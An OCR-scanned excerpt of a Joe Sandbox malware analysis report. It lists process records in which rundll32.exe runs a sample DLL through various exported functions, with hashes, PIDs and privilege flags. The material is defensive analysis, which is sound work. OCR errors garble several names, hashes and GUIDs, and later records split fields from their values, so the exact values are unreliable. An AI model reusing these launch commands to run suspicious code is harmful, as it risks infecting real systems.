Start time: 09:53:19

Start date: 28/09/2021

Path: C:\Windows\System32\svchost.exe
Wow64 process (32bit): false

Commandline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Imagebase: 0x7ff70d6e0000

File size: 51288 bytes

MD5 hash: 32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: rundll32.exe PID: 7056 Parent PID: 6060
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General

Start time: 09:53:22

Start date: 28/09/2021

Path: C:\Windows\System32\rundlI32.exe
Wow64 process (32bit): false

Commandline: rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,opj_decode_tile_data
Imagebase: 0x7ff7eb2b0000

File size: 69632 bytes

MDS5 hash: 73C519F050C20580F8A62C849D49215A
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: rundll32.exe PID: 5700 Parent PID: 6588

General

Start time: 09:53:24

Start date: 28/09/2021

Path: C:\Windows\System32\rundlI32.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\rundlI32.exe C:\Users\user\Desktop\TWsmloYqC6.dIl,PauseW {47
2D041F-5A83-4CB6-BA61-CCC2757AAF71}

Imagebase: 0x7ff7eb2b0000

File size: 69632 bytes

MD5 hash: 73C519F050C20580F8A62C849D49215A

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: rundli32.exe PID: 6700 Parent PID: 6060

General

Start time: 09:53:26

Start date: 28/09/2021

Path: C:\Windows\System32\rundll32.exe
Wow64 process (32bit): false

Commandline: rundlI32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,opj_destroy_codec
Imagebase: 0x7ff7eb2b0000

File size: 69632 bytes

MDS5 hash: 73C519F050C20580F8A62C849D49215A
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: svchost.exe PID: 3148 Parent PID: 5580

General

Start time: 09:53:30

Start date: 28/09/2021

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Imagebase: 0x7ff70d6e0000

File size: 51288 bytes
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MDS5 hash: 32569E403279B3FD2EDB7EBD036273FA

Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language

Analysis Process: rundll32.exe PID: 1200 Parent PID: 6060

General

Start time: 09:53:30

Start date: 28/09/2021

Path: C:\Windows\System32\rundlI32.exe
Wow64 process (32bit): false

Commandline: rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,opj_destroy_cstr_index
Imagebase: 0x7ff7eb2b0000

File size: 69632 bytes

MDS5 hash: 73C519F050C20580F8A62C849D49215A
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: rundll32.exe PID: 7104 Parent PID: 6060

General

Start time: 09:53:34

Start date: 28/09/2021

Path: C:\Windows\System32\rundll32.exe
Wow64 process (32bit): false

Commandline: rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,opj_destroy_cstr_info
Imagebase: 0x7ff7eb2b0000

File size: 69632 bytes

MDS5 hash: 73C519F050C20580F8A62C849D49215A
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: rundll32.exe PID: 6420 Parent PID: 6588

General

Start time: 09:53:36

Start date: 28/09/2021

Path: C:\Windows\System32\rundlI32.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dIl,ResumeW {A
30E4BC4-954D-4192-B87D-90749D0EES54D}

Imagebase: 0x7ff7eb2b0000

File size: 69632 bytes

MD5 hash: 73C519F050C20580F8A62C849D49215A

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: rundll32.exe PID: 6424 Parent PID: 6060
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General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

09:53:38

28/09/2021

C:\Windows\System32\rundlI32.exe

false

rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,opj_dump_codec
0x7ff7eb2b0000

69632 bytes

73C519F050C20580F8A62C849D49215A

true

true

C, C++ or other language

Analysis Process: rundll32.exe PID: 5096 Parent PID: 6060

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Disassembly

Code Analysis

Copyright Joe Security LLC

Copyright Joe Security LLC 2021

09:53:42

28/09/2021

C:\Windows\System32\rundlI32.exe

false

rundlI32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,opj_encode
0x7ff7eb2b0000

69632 bytes

73C519F050C20580F8A62C849D49215A

true

true

C, C++ or other language

Joe Sandbox Cloud Basic 33.0.0 White Diamond
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